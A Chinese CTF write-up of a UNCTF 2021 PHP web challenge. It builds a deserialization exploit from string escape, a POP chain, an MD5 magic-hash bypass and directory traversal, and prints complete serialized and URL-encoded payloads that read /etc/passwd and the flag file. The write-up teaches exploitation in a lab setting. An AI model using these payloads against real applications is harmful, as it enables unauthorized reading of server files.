前言
算是第一次独立做出来的一道web题,想了我两天。。。
本题利用到的知识点:
1.PHP反序列化字符逃逸
UNCTF2020的一道easyunserialize,类似
2.目录穿越
UNCTF2020的一道easy_ssrf,类似
3.pop链
BUUCTF的ezpop,类似
一、源码
二、POP链构造
1.function.php
先看哪里可以利用到flag
可以看到me7eorite这个类里有readfile函数,可以用来读flag
但是有个问题,序列化的代码在index.php中被固定死了,只能按照它的格式来
$u = new UNCTF($pass,$email,$name);
$s = serialize($u);
我们这里就需要用到反序列化字符逃逸,正好他有个过滤我们可以用
继续看,我们从这里开始倒推:
class me7eorite{
//test
public $safe;
public $class;
public function __construct()
{
$this->safe = "/etc/passwd";
$this->class=new UNCTF('me7eorite','me7eorite@qq.com','me7eorite');
}
public function __toString() //当类被当做字符串使用时,会被调用
{
$this->class->getShell();//class被定义为了UNCTF,所以这里需要改
return '';
}
public function getShell(){
readfile($this->safe);
}
}
那么哪里的代码可以做到把类当做字符串使用呢?(类似于echo)
class UNCTF{
public $pass;
public $email;
public $name;
public function __construct($pass,$email,$name)
{
$this->pass = $pass;
$this->name = $name;//name必须得是me7eorite这个类,才会触发里面的_tostring,需要改
$this->email = $email;
}
public function getShell(){
echo 'flag{this_is_fake}';
}
public function __destruct()
{
echo $this->name . 'Welcome to UNCTF 2021!';//在这里!!
}
} Welcome to UNCTF 2021!
本地尝试构造一下:
<?php
class me7eorite{
//test
public $safe;
public $class;
public function __construct()
{
$this->safe = "flag.php";
$this->class='1';//new me7eorite(); 我们要把class构造成这样,但是不能直接赋值,我也不知道为什么。。
}
}
class UNCTF{
public $pass;
public $email;
public $name;
public function __construct($pass,$email,$name)
{
$this->pass = $pass;
$this->name = $name;
$this->email = $email;
}
}
function filter($file){
$filter_arr = array('flag','php','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$file);
}
$a=new me7eorite();
$a->class=new me7eorite();//从这里可以修改为类
$c=new UNCTF('1','2',$a);//把name赋值为me7eorite这个类
$b=serialize($c);
echo $b."\n";
?>
输出后是这样:
O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}
以上就是我们需要构造成的序列化字符串,也就是说,我们需要将name构造成这样
s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}
为了不破坏前面的eamil属性的结构,我们要加上;
;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}
这串东西先留着,而name直接传入是不可能的,直接传入是这个样子:
O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";s:1:"3";
//可以看到name后面的 s:1:"3" ,是我们不需要的
//那么为了构造出我们需要的属性,我们需要的属性可以从name传入,然后通过email和filter函数配合,
//将";s:4:"name";s:1:" 这些当做email的值,从而能解析我们name中构造的属性
//";s:4:"name";s:1:" 一共18个字符,那么email传入6个php就好了
//但是,由于name中的参数也是有大小的,大概会有几百个字符,就变成了大概这样
//";s:4:"name";s:144:" 这里就变成了19个字符,然后就需要4个flag和1个php
然后这里就用到了反序列化字符逃逸,由于过滤是将字符变少,我们就要用到两个参数 ,本地构造试验一下:
$z='flagflagflagflagphp';
$x=';s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}';
echo urlencode($x)."\n";
$a=new UNCTF('1',$z,$x);
$b=serialize($a);
echo $b."\n";
$d=filter($b);
echo $d;
构造出来,就完成了第一步:
//过滤前
O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:19:"flagflagflagflagphp";s:4:"name";s:145:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}";}
//过滤后
O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:19:"";s:4:"name";s:145:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}";}
2.index.php
我们需要进入filter函数,就要绕过md5弱比较判断,并且两个字符串还不能相等
s878926199a =》 0e545993274517709034328855841020
s155964671a =》 0e342768416822451524974117254469
s214587387a =》 0e848240448830537924465865611904前面的就是我们传入的字符串,后面是md5值,在弱比较中,0e会被当做科学计数法
找到形似这样的就能绕过
然后是preg_replace过滤绕过,双写就行了,比如flflagag
这样要的参数就都得到了,最后将name参数url编码一下传入就行了
提示:将/etc/passwd 改为flag的时候,由于过滤,所以我们要把序列化的参数大小改为过滤后的大小
3.目录穿越
当我兴高采烈输入flag.php的时候,怎么都打不开,fl1g.php也不行,说明当前目录就没有flag
最后想到了目录穿越,readfile和file_get_contents一样,是可以读url的
当我们输入错误的协议名时,比如qwe:// ,就会把它当做盘符,进而造成目录穿越
构造name,并url编码:
O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:19:"flagflagflagflagphp";s:4:"name";s:187:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:28:"qwe://../../../../../../flflagag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:28:"qwe://../../../../../../flflagag";s:5:"class";s:1:"1";}}}";}
%3Bs%3A4%3A%22name%22%3BO%3A9%3A%22me7eorite%22%3A2%3A%7Bs%3A4%3A%22safe%22%3Bs%3A28%3A%22qwe%3A%2F%2F..%2F..%2F..%2F..%2F..%2F..%2Fflflagag%22%3Bs%3A5%3A%22class%22%3BO%3A9%3A%22me7eorite%22%3A2%3A%7Bs%3A4%3A%22safe%22%3Bs%3A28%3A%22qwe%3A%2F%2F..%2F..%2F..%2F..%2F..%2F..%2Fflflagag%22%3Bs%3A5%3A%22class%22%3Bs%3A1%3A%221%22%3B%7D%7D%7D
就得到了flag
总结
初学web两个月,这也是自己独立做出来的第一道题目,特意总结记录一下
欢迎大佬们的批评指点qwq